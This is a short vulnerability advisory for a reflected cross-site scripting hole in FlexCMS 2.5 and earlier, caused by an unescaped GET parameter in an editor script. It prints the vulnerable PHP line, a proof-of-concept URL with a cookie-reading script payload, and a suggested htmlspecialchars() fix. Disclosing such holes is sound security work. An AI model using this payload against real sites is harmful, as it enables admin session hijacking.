FlexCMS <= 2.5 Cross Site Scripting Vulnerability

---

Script : FlexCMS <= 2.5

Type : Cross Site Scripting Vulnerability

Alert : Low

---

Download From : http://www.flexcms.com/

---

Discovered by : Khashayar Fereidani Or Dr.Crash

My Website : HTTP://FEREIDANI.IR

Team Website : Http://IRCRASH.COM

Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com

---

Cross Site Scripting Vulnerability :

File Name : inc-core-admin-editor-previouscolorsjs.php

Vulnerable Variable : PreviousColorsString

Send Method : GET

Register_globals : On

Dangerous PHP Code (LINE 53) : print 'document.write(\''.$PreviousColorsString.'\');';

Address :
http://example/inc-core-admin-editor-previouscolorsjs.php?PreviousColorsString=&lt;script&gt;alert&#40;document.cookie&#41;&lt;/script&gt;

Attacker can hijack admin cookie with this vulnerability …

Solution for patch : filter PreviousColorsString variable with htmlspecialchars() function …

---

                    Tnx : God

                 HTTP://IRCRASH.COM

---